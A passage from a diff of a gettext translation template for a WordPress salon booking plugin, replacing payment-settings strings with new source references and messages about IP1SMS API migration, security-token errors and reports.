payment\u003Cspan>Allow users to pay in advance using one of the available payments methods.\u003C\u002Fspan>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:92\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetDefaultBookingStatus.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FDuplicateClone.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FDismissPerformanceIndexesNotice.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingOnProcess.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingStatus.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FCancelBookingLink.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetDefaultBookingStatus.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FDuplicateClone.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRescheduleBooking.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FDismissPerformanceIndexesNotice.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingOnProcess.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingStatus.php:14\n+msgid \"Invalid security token. Please refresh the page and try again.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:38\n-msgid \"If enabled you need to setup one of the available payments methods.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:142\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:142\n+msgid \"IP1SMS API Error (HTTP %d)\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:106\n-msgid \"If you want to integrate a new custom payment gateway please refere to \u003Cstrong>custom_payment_gateway.txt\u003C\u002Fstrong> file inside our plugin folder.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:40\n+msgid \"\"\n+\"IP1SMS API Key is not configured. Please add your API key in SMS Settings.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:136\n-msgid \"Give users the option to pay once they are at your salon.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:137\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:137\n+msgid \"IP1SMS API Migration Required\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:147, views\u002Fsettings\u002Ftab_payments_pro.php:205\n-msgid \"Percentage\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:135\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:135\n+msgid \"IP1SMS API Migration Required -\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:161\n-msgid \"Disable advanced rules\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:103\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:103\n+#, php-format\n+msgid \"IP1SMS API Request Failed: %s\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:162\n-msgid \"Enable advanced rules\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:294\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:294\n+msgid \"IP1SMS API V2 Setup\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:167\n-msgid \"Fixed amount\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:295\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:295\n+msgid \"IP1SMS has migrated to a new API. Follow these steps to set up:\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:168, views\u002Fsettings\u002Ftab_payments_pro.php:260\n-msgid \"Specify the amount without currency symbol\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:151\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:151\n+#, php-format\n+msgid \"\"\n+\"IP1SMS is shutting down the old API on %s. Your SMS notifications will stop \"\n+\"working unless you migrate to the new API V2.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:181\n-msgid \"Enable tip field\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:47\n+msgid \"\"\n+\"IP1SMS Sender ID is not configured. Please add your sender ID in SMS \"\n+\"Settings.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:184\n-msgid \"Select this option if you want collect tips from customers.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:194\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:194\n+msgid \"IP1SMS service temporarily unavailable. Please try again later.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:196\n-msgid \"Specify the fee amount without currency symbol\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FResource.php:117\n+msgid \"Is active\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:200\n-msgid \"Select mode\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:59\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_Discount\u002FAdmin\u002FExportDiscountsCsv.php:59\n+msgid \"Is active?\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:206\n-msgid \"Fixed\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:72\n+msgid \"Is all services.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:212\n-msgid \"Choose among \\\"Percentage\\\" and \\\"Fixed\\\" mode\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:112\n+#, php-format\n+msgid \"is busy from %s to %s. Please select another time or assistant.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:240\n-msgid \"Disable the first email sent to the customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:106\n+msgid \"is child of selected service\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:243\n-msgid \"Select this Option if you want to disable first pending payment email sent to the customer.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1676\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:868\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1676\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:868\n+msgid \"Is default of the photo.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:273\n-msgid \"Enable cancellation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:137\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:137\n+msgid \"Is default.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:274\n-msgid \"Select this option if you want to automatically cancel unpaid reservations.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_customer_current_score.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_customer_current_score.php:28\n+msgid \"It's used to give you special offers.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:278\n-msgid \"Delete unpaid reservations after\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:168\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:168\n+msgid \"JS on front-end\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:296\n-msgid \"Set the time range to complete the online payment.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:23\n+msgid \"Just click inside the textarea and copy (Ctrl+C)\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:323\n-msgid \"Enable TAX calculation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:193\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:193\n+msgid \"\"\n+\"Just start typing a name, email, or phone number in the search field to \"\n+\"quickly find the user you need!\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:330\n-msgid \"Switch to PRO to unlock this feature\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_add_tips.php:28\n+msgid \"key in the desired amount\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:356\n-msgid \"Enter tax inclusive prices\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_after_total_amount.php:26\n+msgid \"key in your coupon code\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:366\n-msgid \"Enter tax exclusive prices\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:109\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:109\n+msgid \"Label for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_payments_pro.php:372\n-msgid \"Enter TAX %\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:72\n+msgid \"Large\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:11\n-msgid \"Select booking form layout\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:51\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:51\n+msgid \"Last 30 Days\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:12, views\u002Fsettings\u002Ftab_style.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:51\n-msgid \"Custom colors\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:50\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:50\n+msgid \"Last 7 Days\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:13\n-msgid \"Ajax steps\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:579\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:579\n+msgid \"Last edit\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:14\n-msgid \"Bootstrap assets\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:527\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:527\n+msgid \"Last Month\"\n msgstr \"\"\n \n-#: 